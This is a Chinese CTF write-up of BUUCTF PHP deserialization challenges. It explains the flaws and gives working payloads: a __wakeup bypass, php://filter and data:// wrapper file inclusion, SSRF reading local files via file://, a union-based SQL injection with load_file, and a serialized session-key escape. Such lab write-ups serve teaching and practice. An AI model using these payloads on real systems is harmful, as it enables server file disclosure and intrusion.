1. 程式人生 > 其它 >buu刷題筆記之反序列化

buu刷題筆記之反序列化

[極客大挑戰 2019]PHP

解題思路:開啟題目,提示有備份=原始碼。於是上手7kb加CTF原始碼洩露字典。

發現www.zip壓縮包,下載解壓後發現原始碼

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username
; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo
"</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); } } } ?>

分析原始碼:只有username=admin、password=100才能得到flag。但wakeup魔法函式會強制將username=guest,所以需要繞過wakeup。

Index.php程式碼截圖如下(注意圈出的)

反序列化的入口就是select引數。

有了思路就來構造payload。

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
}
$a=new Name("admin","100");
echo serialize($a);
?>

輸出結果

然後

  1. 因為要繞過wakeup,把Name後的數字改成3或更大

  2. 因為usernamepassword是私有變數,變數中的類名前後會有空白符,而複製的時候會丟失,所以要加上%00

payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

[ZJCTF 2019]NiZhuanSiWei

審計原始碼

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

看到有include檔案包含,是解題的重點,所以先看第一個if,必須先滿足它,text不為空,且file_get_contents()讀取的返回值為welcome to the zjctf。file_get_contents()函式的功能是讀取檔案內容到一個字串,但這裡沒沒有一個文

件,而是讀取的text變數。而如果直接給text賦值text=welcome to the zjctf的話,沒有回顯,說明沒成功,所以需要用方法繞過它,就有兩種方法:

1、php://input偽協議

此協議需要allow_url_includeon,可以訪問請求的原始資料的只讀流, 將post請求中的資料作為 PHP程式碼執行,當傳入的引數作為檔名開啟時,可以將引數設為php://input,同時post想設定的檔案內容,php執行時會將post內容當作檔案內

容,好像用 HackBar 因為在 post 中沒有設定變數不能訪問,所以用Burp抓包。看到有回顯,可行

2、data://偽協議
data://協議需要滿足雙on條件,作用和 php://input 類似

再看第二個if file不能有flag字元,沒啥,往下看。
提示了有一個useless.php,想到之前說的PHP偽協議中的php://filter讀取檔案,於是便嘗試一下

php://filter/read=convert.base64-encode/resource=useless.php

所以構造payload:

?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

然後base64解碼得useless.php的原始碼

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

看到有一個 flag.php ,並且file不為空將讀取flag.php並顯示,所以構造一個序列化字串

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
$a->file="flag.php";
echo serialize($a);
?>  

構造payload:

http://60bcfa23-06d0-4765-9671-cc34bf176fba.node4.buuoj.cn:81/?text=data:text/plain,welcome to the zjctf&file=php://filter/read/convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

無flag回顯,這裡發現如果file繼續用前面偽協議讀取的話,後面的 password 會無回顯無法得到flag(需修改為 useless.php)
最終payload:

http://60bcfa23-06d0-4765-9671-cc34bf176fba.node4.buuoj.cn:81/?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

訪問後f12即可見flag

[網鼎杯 2018]Fakebook

進入頁面,常規審計F12無發現,這邊先掃一下有無洩露掃目錄,發現存在robots.txt和flag.php,訪問後發現原始碼洩露/user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

curl_init(url)函式,初始化一個新的會話,返回一個cURL控制代碼,供curl_setopt(), curl_exec()和curl_close() 函式使用。引數url如果提供了該引數,CURLOPT_URL 選項將會被設定成這個值。

curl_setopt ( resource $ch , int $option , mixed $value )設定 cURL 傳輸選項,為 cURL 會話控制代碼設定選項。引數:
ch:由 curl_init() 返回的 cURL 控制代碼。
option:需要設定的CURLOPT_XXX選項。(CURLOPT_URL:需要獲取的 URL 地址,也可以在curl_init() 初始化會話的時候。使用 CURLOPT_RETURNTRANSFER 後總是會返回原生的(Raw)內容。)
value:將設定在option選項上的值。

curl_getinfo — 獲取一個cURL連線資源控制代碼的資訊,獲取最後一次傳輸的相關資訊。

經過分析可得:
1,註冊介面輸入的blog經過了isValidBlog()函式的過濾,不然直接在註冊介面blog處輸入file:///var/www/html/flag.php就能拿到flag。

2,get()函式存在ssrf漏洞。

顯然存在ssrf漏洞,並且拼接入我們的url就是我們註冊的時候輸入的url,但是顯然是有waf的,所以我們就不能夠直接利用。。沒有WAF直接在註冊介面輸入file:///var/www/html/flag.php就能拿到我們想要的flag。所以,我們的思路是,把flag的路徑賦給blog,經過一系列操作最後會返回flag.php的內容。

發現頁面view.php?no=1存在數字型注入,經過簡單判斷有4個欄位
注入發現union被過濾,使用/**/繞過

發現顯示位username。

法一:ssrf+反序列化+sql注入

根據報錯資訊可知:

  1. 網站絕對路徑(/var/www/html/)

  2. 資料庫裡的資料都是反序列儲存

因此只要訪問/var/www/html/flag.php就可以拿到flag,但通過http(s)協議無法讀到flag,curl不僅支援http(s),還支援file協議,所以可以通過file協議讀檔案
我們在此猜測(暫時未發現線索說明flag就是這個位置的,只能猜,而確實是猜出來的)位置為/var/www/html/flag.php

<?php 
class UserInfo{
    public $name="1";
    public $age=2;
    public $blog="file:///var/www/html/flag.php";

}
$a=new UserInfo();
echo serialize($a);
?>

得到反序列化字串:

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

所以接下來只要把這段字串放在get接受的位置即可(加單引號包裹)

Payload:?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

至於為何在4位點插入串,因為我們之前猜測ssrf的利用位置在blog--4位點,別的位置無法curl_exec()造成ssrf

f12審計得到flag

法二:sql注入load_file()利用報錯的絕對路徑直接查到flag.php

因為我們已經猜測了flag.php的位置,所以確認存在sql之後,我們可以利用load_file函式:

Payload:?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

F12空白區域,直接得到flag

[網鼎杯 2020 青龍組]AreUSerialz

開啟頁面,程式碼審計

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

總結:
1.傳入str,經過處理反序列化。
2.is_valid過濾:傳入的string要是可見字元ascii值為32-125。
3.$op:op=="1"的時候會進入write方法處理,op=="2"的時候進入read方法處理。

is_valid過濾-繞過:
正常構造payload的話因為op、fliename、$content都是protected屬性,序列化的的結果的屬性名前面會有/00/00(或者%00%00),/00的ascii為0不可見的字元如下圖,就會被is_valid方法攔下來。
PHP7.1以上版本對屬性型別不敏感,public屬性序列化不會出現不可見字元,可以用public屬性來繞過
弱型別繞過,然後最後執行到:$obj=unserialize($str)會呼叫__destruct魔術方法,如果op="2"的話就把op="1"

這時候要使op="2"不成立且op=="2"成立,這裡可以自己使用op等於整數2而非字元”2”使得進入read方法裡面,然後構造序列化字串:

<?php
class FileHandler {

    public $op=2;
    public $filename="flag.php";
    public $content;

}
$a=new FileHandler();
$b=serialize($a);
echo $b;

最後payload:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

檢視原始碼即可看到flag,或者使用PHP偽協議讀取flag.php:

<?php
class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

}
$a=new FileHandler();
$b=serialize($a);
echo $b;

得到base64解碼得到flag

[安洵杯 2019]easy_serialize_php

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

序列化後的結果是一串字串。

反序列化會解開序列化的字串生成相應型別的資料。

如以下程式碼示例,img是一個數組,下標分別是one和two,對應的值分別是flag和test

<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#輸出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"

$b = unserialize($a);
var_dump($b);
/*輸出如下內容:
array(2) {
  ["one"]=>
  string(4) "flag"
  ["two"]=>
  string(4) "test"
}
*/

序列化部分:

經過serialize序列化後生成了相應的字串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}

a表示陣列 , a:2中的2表示有兩個鍵值,即對應的one、two兩組鍵值對。

花括號中的s都表示string即字串,

s:後面的值分別是3、4、3、4,即對應的字串長度,比如one長度是三,flag長度是4

反序列化部分:

unserialize函式將字串解序列化,我們用var_dump函式顯示了他的詳細資訊。

可見解序列化後由變數$b,接收了img陣列。

序列化中每個字母的表示

aarray陣列
b boolean判斷型別
d double浮點數
i integer整數型
o common object 一般的物件
r reference引用型別
s string字串型別
C custom object
O class
N null
R pointer reference
U unicode string

發現d0g3_f1ag.php

我把可以對應起來的程式碼放到了一起

$function = @$_GET['f'];

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

根據上面可以清楚,f是我們用get方法傳參得到的變數並由$function接收。

$function發揮作用的程式碼塊,在最下方的判斷句。

咱們初步訪問的時候f=highlight_file,

判斷句中給了提示,那麼f=phpinfo時,我們就看到了phpinfo的頁面,phpinfo有很多配置項會顯示。

我們發現了auto_append_file d0g3_f1ag.php 在頁面底部載入檔案d0g3_f1ag.php。

所以可以猜測flag應該要從d0g3_f1ag.php拿。

發現變數覆蓋

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

filter函式是為了過濾用的,可以先繼續往下看,到如下的時候。

我萌發現unset函式將$_SESSION銷燬了。

然後重新賦予$_SESSION了新的值。

最後呼叫了extract($_POST);

變數覆蓋舉例

根據extract()我們可以進行變數覆蓋,

當我們傳入SESSION[flag]=123時,$SESSION["user"]和$SESSION['function'] 全部會消失。

只剩下_SESSION[flag]=123。

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

鍵值逃逸

原理:因為序列化吼的字串是嚴格的,對應的格式不能錯,比如s:4:"name",那s:4就必須有一個字串長度是4的否則就往後要。

並且unserialize會把多餘的字串當垃圾處理,在花括號內的就是正確的,花括號後面的就都被扔掉。

示例

<?php
#正規序列化的字串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#帶有多餘的字元的字串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

我們有了這個逃逸概念的話,就大概可以理解了。如果我們把

$_SESSION['img'] = base64_encode('guest_img.png');這段程式碼的img屬性放到花括號外邊去,

然後花括號中注好新的img屬性,那麼他本來要求的img屬性就被咱們替換了。

那如何達到這個目的就要通過過濾函數了,因為咱的序列化的是個字串啊,然後他又把黑名單的東西替換成空。

payload

post一個數據。

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}這個肯定就是我們預期的那段序列化字元,

那麼 ;s:1:"1"; 這幾個字元呢?

現在的_SESSION就存在兩個鍵值即phpflag和img對應的鍵值對。

並且這個字串得好好讀才能不蒙圈。

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

經過filter過濾後phpflag就會被替換成空,

s:7:"phpflag";s:48:" 就變成了 s:7:"";s:48:";即完成了逃逸。

兩個鍵值分別被序列化成了

s:7:"";s:48:";s:1:"1";即鍵名叫";s:48: 對應的值為一個字串1。這個鍵值對只要能瞞天過海就行。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";鍵名img對應的字串是d0g3_f1ag.php的base64編碼。

右花括號後面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被當成孤兒放棄了。

注入

payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

發現/d0g3_fllllllag

拿flag

/d0g3_fllllllag進行base64加密L2QwZzNfZmxsbGxsbGFn,恰巧也是20位。就替換原來的就好。

payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

得到flag